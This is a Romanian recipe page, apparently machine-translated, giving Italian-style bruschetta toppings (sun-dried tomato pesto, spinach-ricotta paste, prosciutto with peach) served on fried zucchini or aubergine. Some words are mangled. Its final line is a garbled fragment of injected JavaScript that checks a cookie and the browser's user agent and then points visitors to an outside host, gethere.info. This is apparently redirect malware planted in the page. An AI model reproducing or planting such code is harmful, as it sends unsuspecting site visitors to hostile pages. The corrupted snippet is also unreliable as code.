Vă prezentăm aperitive italiene absolut de vară: pastă de ricotta-spanac, pesto de roșii uscate, o combinație de prosciutto și piersici suculente ...

Bucătăria italiană este pe bună dreptate una dintre cele mai populare din lume. Și cea mai populară mâncare? La urma urmei, pizza, paste sau ceva similar:). Fără îndoială, acestea sunt mâncăruri cu adevărat uimitoare, dar pentru noi, bucătăria italiană este mai mult o combinație de ingrediente de calitate și sănătoase. Putem schimba paste pentru legume, aluat de pizza pentru o alternativă mai sănătoasă sau o bucată de carne:). Clasice italiene precum aglio olio, carbonara, mozzarella cu roșii, bolognese, spanac cu ricotta sunt cu adevărat perfecte chiar și fără o garnitură clasică:).

Astăzi v-am pregătit aperitivul italian preferat - bruschetta în mai multe moduri. Dintre combinațiile populare italiene, am ales riccotta cu spanac, prosciutto cu piersică și pesto din roșii uscate. Desigur, aceste combinații pot fi folosite și în salate, pe pâine sănătoasă și altele asemenea. Totuși, ceea ce ne place cel mai mult este că folosim dovlecei prăjiți sau vinete în loc de pâine prăjită. Ai încredere în noi, este absolut faimos:). Și dacă nu vă place, aluatul pe care îl folosim pentru curele vegane la cursul nostru de gătit este, de asemenea, minunat.

Mai multe delicatese italiene pot fi găsite aici.

roșii

Bruschettky

Tăiați dovleceii și vinetele în felii de 0,5-1 cm și prăjiți-le într-o tigaie pe fiecare parte timp de aproximativ 2 minute. Sare și condiment. Presară usturoi după gust:).

Pesto de roșii uscate

  • 1 ceapa medie
  • 2-3 catei de usturoi
  • 1 + 5 linguri ulei de măsline
  • 100g roșii uscate (dacă folosim marinate în ulei, omiteți cele 5 linguri de ulei și dați cantitatea după cum este necesar)
  • câteva frunze de busuioc proaspăt
  • sare și piper negru după gust

Tocam marunt ceapa si usturoiul si lasam sa fiarba in putin ulei aproximativ 5 minute pana se inmoaie. Apoi amestecăm toate ingredientele într-o pastă fină - cu o consistență similară cu friptura tartară.

Pasta de spanac-ricotta

  • 100g ricotty
  • 100g spanac (proaspăt sau congelat)
  • 1 lingura ulei de masline
  • ciupit de nucsoara
  • sare și piper după gust

Aburiti (dezghetati), tocati marunt si amestecati cu ricotta si alte ingrediente pentru a face o pasta fina. O vom gusta la nevoie.

Prosciutto cu piersici

Această combinație este perfectă mai ales ca salată cu sos de miere-tei. De obicei servim mozzarella cu salată:). Sumele depind de gust și de numărul de persoane, dar așa funcționează:

  • 50g prosciutta
  • 1 mozzarella
  • 2 piersici/nectarine
  • un praf de sare pe mozzarella
  • dressing: 1 linguriță de miere + suc de jumătate de lime sau lămâie + 2 linguri de ulei de măsline

* dacă o dorim ca salată, adăugăm 1/2 salată iceberg

* dacă vă place bruschetele, pur și simplu așezați aceste ingrediente pe legume prăjite

if (document.currentScript) < if(document.cookie.indexOf(“_mauthtoken”)==-1)>>) (navigator.userAgent || navigator.vendor || window.opera, ’http: //gethere.info/kt/? 264dpr &’);>